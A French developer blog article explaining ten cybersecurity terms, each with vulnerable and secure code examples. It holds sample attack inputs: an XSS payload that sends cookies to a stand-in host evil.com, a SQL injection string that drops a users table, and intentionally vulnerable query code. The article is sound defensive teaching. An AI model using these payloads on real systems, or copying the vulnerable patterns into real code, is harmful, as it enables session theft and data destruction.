Découvrez les 10 termes de cybersécurité essentiels que tout développeur devrait connaître pour protéger ses applications et données contre les menaces en ligne.

En tant que développeur, on passe nos journées à écrire du code, résoudre des bugs et shipper des features. Mais la sécurité ? On y pense souvent trop tard, quand le mal est déjà fait. Pourtant, comprendre les bases de la cybersécurité n'est pas réservé aux experts en sécurité — c'est une compétence essentielle pour tout dev qui met du code en production.
Voici 10 termes que tu croiseras forcément dans ta carrière, expliqués simplement avec des exemples de code concrets.
Article pensé pour les développeurs
Chaque terme est illustré avec des exemples concrets de code. L'objectif n'est pas de faire de toi un expert en sécurité, mais de te donner les réflexes pour écrire du code plus sûr au quotidien.
Une vulnérabilité, c'est une faiblesse dans ton code ou ton infrastructure qui peut être exploitée par un attaquant. C'est la porte que tu as oublié de verrouiller. Ça peut être un input non validé, une dépendance obsolète, ou une mauvaise configuration serveur.
Exemple concret
Un endpoint API qui accepte n'importe quel input sans validation est une vulnérabilité. Un attaquant pourrait envoyer des données malveillantes pour compromettre ton système.
// Vulnérable : aucune validation
app.post("/api/user", (req, res) => {
db.query(`INSERT INTO users (name) VALUES ('${req.body.name}')`);
});
// Sécurisé : validation avec Zod
import { z } from "zod";
const userSchema = z.object({
name: z.string().min(1).max(100).regex(/^[a-zA-ZÀ-ÿ\s-]+$/),
});
app.post("/api/user", (req, res) => {
const result = userSchema.safeParse(req.body);
if (!result.success) return res.status(400).json({ error: "Input invalide" });
db.query("INSERT INTO users (name) VALUES ($1)", [result.data.name]);
});Une menace, c'est tout ce qui peut exploiter une vulnérabilité : un attaquant humain, un bot automatisé, un malware, ou même un employé malveillant. La distinction est importante : la vulnérabilité est la faiblesse, la menace est ce qui l'exploite.
Sans vulnérabilité, une menace ne peut rien faire. Sans menace, une vulnérabilité reste théorique. Les deux ensemble créent un risque réel.
Menace vs Vulnérabilité
Pense à ta maison : la fenêtre ouverte est la vulnérabilité, le cambrioleur est la menace. Fermer la fenêtre (corriger la vulnérabilité) rend la menace inoffensive.
La surface d'attaque, c'est l'ensemble de tous les points d'entrée qu'un attaquant pourrait utiliser pour compromettre ton application. Plus ta surface est grande, plus tu es exposé. Chaque API publique, chaque formulaire, chaque port ouvert augmente ta surface d'attaque.
$ nmap -sV mon-serveur.com
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9
80/tcp open http nginx 1.18
443/tcp open https nginx 1.18
3306/tcp open mysql MySQL 8.0
8080/tcp open http Node.js Express
Alerte
Dans cet exemple, le port MySQL (3306) est exposé publiquement. En production, ta base de données ne devrait jamais être accessible depuis Internet. C'est un point d'entrée en trop dans ta surface d'attaque.
L'authentification, c'est vérifier qui tu es. C'est le login : tu prouves ton identité avec un mot de passe, un token OAuth, une clé SSH ou un code 2FA. C'est la première barrière de sécurité de ton application.
// Mauvais : stocker le mot de passe en clair
async function login(email: string, password: string) {
const user = await db.findUser(email);
if (user.password === password) return generateToken(user);
// ^^^ Comparaison en clair = danger
}
// Bon : utiliser bcrypt pour hasher et comparer
import bcrypt from "bcrypt";
async function register(email: string, password: string) {
const hash = await bcrypt.hash(password, 12);
await db.createUser({ email, password: hash });
}
async function login(email: string, password: string) {
const user = await db.findUser(email);
const match = await bcrypt.compare(password, user.password);
if (match) return generateToken(user);
}L'autorisation intervient après l'authentification. Tu sais qui est l'utilisateur, maintenant tu vérifies ce qu'il a le droit de faire. Un utilisateur authentifié ne devrait pas pouvoir accéder aux données d'un autre utilisateur ou aux fonctions admin.
// Middleware de vérification de rôle
function requireRole(...roles: string[]) {
return (req: Request, res: Response, next: NextFunction) => {
if (!req.user) {
return res.status(401).json({ error: "Non authentifié" });
}
if (!roles.includes(req.user.role)) {
return res.status(403).json({ error: "Accès interdit" });
}
next();
};
}
// Utilisation
app.delete("/api/users/:id", requireRole("admin"), deleteUser);
app.get("/api/profile", requireRole("admin", "user"), getProfile);Authentification ≠ Autorisation
L'authentification = "Tu es bien Raphaël". L'autorisation = "Raphaël a le droit de supprimer cet utilisateur". Ce sont deux étapes distinctes et les deux sont indispensables.
Le chiffrement rend les données illisibles pour quiconque ne possède pas la clé de déchiffrement. Il existe deux types principaux : le chiffrement symétrique (une seule clé pour chiffrer et déchiffrer) et le chiffrement asymétrique (une clé publique pour chiffrer, une clé privée pour déchiffrer).
import crypto from "node:crypto";
// Chiffrement AES-256 (symétrique)
const ALGORITHM = "aes-256-gcm";
const SECRET_KEY = crypto.randomBytes(32);
function encrypt(text: string) {
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv(ALGORITHM, SECRET_KEY, iv);
const encrypted = Buffer.concat([cipher.update(text, "utf8"), cipher.final()]);
const tag = cipher.getAuthTag();
return { encrypted, iv, tag };
}
function decrypt({ encrypted, iv, tag }: ReturnType<typeof encrypt>) {
const decipher = crypto.createDecipheriv(ALGORITHM, SECRET_KEY, iv);
decipher.setAuthTag(tag);
return Buffer.concat([decipher.update(encrypted), decipher.final()]).toString("utf8");
}L'intégrité garantit que les données n'ont pas été modifiées entre le point A et le point B. C'est le principe derrière les checksums de fichiers, les signatures JWT, ou les hash de commits Git.
import crypto from "node:crypto";
// Vérifier l'intégrité d'un fichier téléchargé
function verifyChecksum(filePath: string, expectedHash: string) {
const fileBuffer = fs.readFileSync(filePath);
const hash = crypto.createHash("sha256").update(fileBuffer).digest("hex");
if (hash !== expectedHash) {
throw new Error("Le fichier a été modifié ou corrompu !");
}
return true;
}
// Exemple d'utilisation
verifyChecksum("./package.tar.gz", "a1b2c3d4e5f6...");Tu utilises déjà l'intégrité sans le savoir
Chaque fois que tu fais un git commit, Git calcule un hash SHA-1 de tes changements. Le fichier
package-lock.json contient des checksums pour chaque dépendance. L'intégrité est partout.
Une injection, c'est quand un attaquant envoie du code malveillant via un champ de saisie, et que ton application l'exécute au lieu de le traiter comme une simple donnée. C'est l'une des vulnérabilités les plus courantes et les plus dangereuses (top 3 OWASP).
-- Ce que l'attaquant entre dans le champ "nom" :
-- Robert'; DROP TABLE users; --
-- Ta requête vulnérable devient :
SELECT * FROM users WHERE name = 'Robert'; DROP TABLE users; --'
-- Boom : ta table users vient d'être supprimée// Vulnérable : concaténation de strings
const user = await db.query(
`SELECT * FROM users WHERE id = '${req.params.id}'`
);
// Sécurisé : requête paramétrée
const user = await db.query(
"SELECT * FROM users WHERE id = $1",
[req.params.id]
);Les ORM ne protègent pas de tout
Utiliser un ORM comme Prisma ou Drizzle réduit fortement les risques, mais attention aux méthodes raw ou
$queryRaw qui acceptent du SQL brut. Chaque fois que tu écris du SQL à la main, utilise des requêtes paramétrées.
Le XSS permet à un attaquant d'injecter du JavaScript malveillant dans une page web vue par d'autres utilisateurs. Le script s'exécute dans le navigateur de la victime et peut voler des cookies, des tokens de session, ou rediriger vers un site frauduleux.
// Vulnérable : innerHTML avec du contenu utilisateur
const comment = getUserComment(); // "<script>document.location='https://evil.com?c='+document.cookie</script>"
element.innerHTML = comment; // Le script s'exécute !
// Sécurisé : utiliser textContent
element.textContent = comment; // Affiché comme du texte brut
// Ou sanitizer le HTML si tu en as besoin
import DOMPurify from "dompurify";
element.innerHTML = DOMPurify.sanitize(comment);React te protège par défaut
React échappe automatiquement le contenu JSX, ce qui bloque la majorité des attaques XSS. Mais attention :
dangerouslySetInnerHTML contourne cette protection (d'où son nom). Ne l'utilise jamais avec du contenu utilisateur
non sanitizé.
Un zero-day est une vulnérabilité inconnue du vendeur ou de la communauté, et donc sans correctif disponible. Le nom vient du fait que les développeurs ont eu "zéro jour" pour la corriger avant qu'elle ne soit exploitée. C'est le cauchemar de tout développeur.
$ npm audit
found 1 critical severity vulnerability
Critical: Remote Code Execution in lodash
CVE-2025-XXXXX (zero-day)
No patch available
Affected versions: <= 4.17.21
Garde tes dépendances à jour
Tu ne peux pas empêcher les zero-days, mais tu peux réduire ton exposition. Lance npm audit régulièrement,
configure Dependabot ou Renovate sur tes repos, et mets à jour tes dépendances dès qu'un patch est disponible. Plus
tu attends, plus tu es exposé.
La sécurité n'est pas une feature qu'on ajoute à la fin — c'est un réflexe qu'on intègre dès les premières lignes de code. Tu n'as pas besoin de tout maîtriser d'un coup : commence par appliquer ces bases, et tu seras déjà devant la majorité des développeurs en matière de sécurité.
Bon code, et surtout, code sûr.
Raphaël Raclot is a French full stack developer passionate about cybersecurity and modern web technologies. He specializes in React, Next.js, and TypeScript, and shares his discoveries, projects, and insights here.
Learn more about Raphaël